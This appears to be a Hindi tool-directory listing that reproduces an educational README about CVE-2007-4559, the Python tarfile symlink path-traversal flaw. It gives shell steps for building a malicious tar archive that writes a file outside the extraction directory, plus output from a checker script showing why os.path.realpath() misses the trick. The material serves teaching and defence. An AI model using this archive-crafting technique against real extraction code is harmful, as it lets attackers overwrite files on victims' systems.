Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2007-4559 — CVE-2007-4559 Python tarfile सिमलिंक हमले का शैक्षिक प्रदर्शन, एक स्क्रिप्ट के साथ जो दिखाती है कि os.path.realpath() क्यों इच्छित निर्देशिकाओं के बाहर निष्कर्षण को रोकने में विफल रहता है। | Kitploit
उपकरण/GitHubGitHub/davidholiday/cve-2007-4559
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणशोषणआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षा
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

CVE-2007-4559 Python tarfile सिमलिंक हमले का शैक्षिक प्रदर्शन, एक स्क्रिप्ट के साथ जो दिखाती है कि os.path.realpath() क्यों इच्छित निर्देशिकाओं के बाहर निष्कर्षण को रोकने में विफल रहता है।

रिपॉजिटरी देखें
12 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2007-4559 का प्रदर्शन

यह क्या है?

यह एक प्रदर्शन है कि कैसे python v3.11.4 से पहले tar फ़ाइल निष्कर्षण के लिए python का डिफ़ॉल्ट हैंडलिंग एक साधारण सिमलिंक हमले के लिए असुरक्षित है। नीचे दिए गए निर्देश बताते हैं कि एक दुर्भावनापूर्ण पेलोड कैसे तैयार किया जाए। स्क्रिप्ट untar.py यह प्रदर्शित करती है कि 3.11.4 में जोड़ी गई सुविधाएँ कैसे और क्यों काम करती हैं - विशेष रूप से प्रत्येक फ़ाइल के लिए प्रत्येक लिखने से पहले os.path.realpath() जैसी किसी चीज़ को लागू करने की आवश्यकता। स्क्रिप्ट python >= 3.11.4 में शामिल extraction filter सुविधा में पाई जाने वाली समान निरीक्षण विधि का उपयोग करती है, सिवाय इसके कि यह फ़ाइलों को डिस्क पर नहीं लिखती है। इस प्रकार यह दर्शाती है कि os.path.realpath() सिमलिंक को ठीक से हल करने में असमर्थ है और इस प्रकार tar सदस्यों को इच्छित फ़ाइलसिस्टम स्थान के बाहर लिखे जाने की अनुमति देगा।

यहाँ क्या है?

  • निर्देश (यह फ़ाइल) सैंडबॉक्स और दुर्भावनापूर्ण tar फ़ाइल स्थापित करने के लिए।

  • python स्क्रिप्ट untar.py जो python tarfile लाइब्रेरी में बेहतर tar सत्यापन के हालिया कार्यान्वयन के पीछे 'क्यों' का प्रदर्शन करेगी। os.path.realpath() कैसे काम करता है, इसके कारण आप सिमलिंक को हल करने के लिए इस पर भरोसा नहीं कर सकते जब तक कि वे लिंक पहले से फ़ाइलसिस्टम पर मौजूद न हों। इसका मतलब है कि आप संग्रह निकालने से पहले tar सदस्य पथों का निरीक्षण करने के लिए केवल os.path.realpath() पर भरोसा नहीं कर सकते। इसके बजाय आपको दुर्भावनापूर्ण लिंक गतिविधि का पता लगाने के लिए संग्रह में प्रत्येक सदस्य के लिए प्रत्येक लिखने से पहले os.path.realpath() को कॉल करना होगा। अधिक जानकारी के लिए PEP-706 और tarfile doc देखें।

वातावरण और दुर्भावनापूर्ण tar फ़ाइल बनाएँ

  1. परीक्षण वातावरण बनाएँ
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. ./lib फ़ोल्डर को tar संग्रह में जोड़ें
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. ./lib निर्देशिका को '.' के समान नाम के सिमलिंक से बदलें
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. सिमलिंक 'lib' को संग्रह में जोड़ें
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. सिमलिंक 'lib' को निर्देशिका और फ़ाइल से बदलें
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. सापेक्ष पथ का उपयोग करके फ़ाइल को संग्रह में जोड़ें
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. tar को लक्ष्य निर्देशिका में कॉपी करें
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. tar को अनपैक करें। "dangerous_file" लक्ष्य निर्देशिका के बाहर अनपैक किया गया
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

python स्क्रिप्ट का उपयोग करें

  1. इस रिपॉजिटरी से untar.py डाउनलोड करें और इसे ./lab निर्देशिका में रखें

  2. स्क्रिप्ट चलाएँ। ध्यान दें कि जब दुर्भावनापूर्ण सिमलिंक को लक्ष्य फ़ाइलसिस्टम पर लिखा नहीं गया है तो os.path.realpath() को मूर्ख बनाना कितना आसान है।

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

और पढ़ना

  • [Python-Dev] tarfile और निर्देशिका ट्रैवर्सल भेद्यता

  • अलर्ट: 15 साल पुराना Python tarfile दोष '350,000 से अधिक' कोड प्रोजेक्ट्स में छिपा

  • SO पोस्ट कि python 3.11.4 की नई सुविधाओं से पहले tar संग्रह को सुरक्षित रूप से कैसे निकालें

  • python मुद्दा 21109

  • tarlib लाइब्रेरी के दीर्घकालिक [सेवानिवृत्त 2019] अनुरक्षक का 2022 का वक्तव्य

  • python 3.11.4 में शुरू की गई नई extraction filter सुविधा का कार्यान्वयन

टूल डाउनलोड करें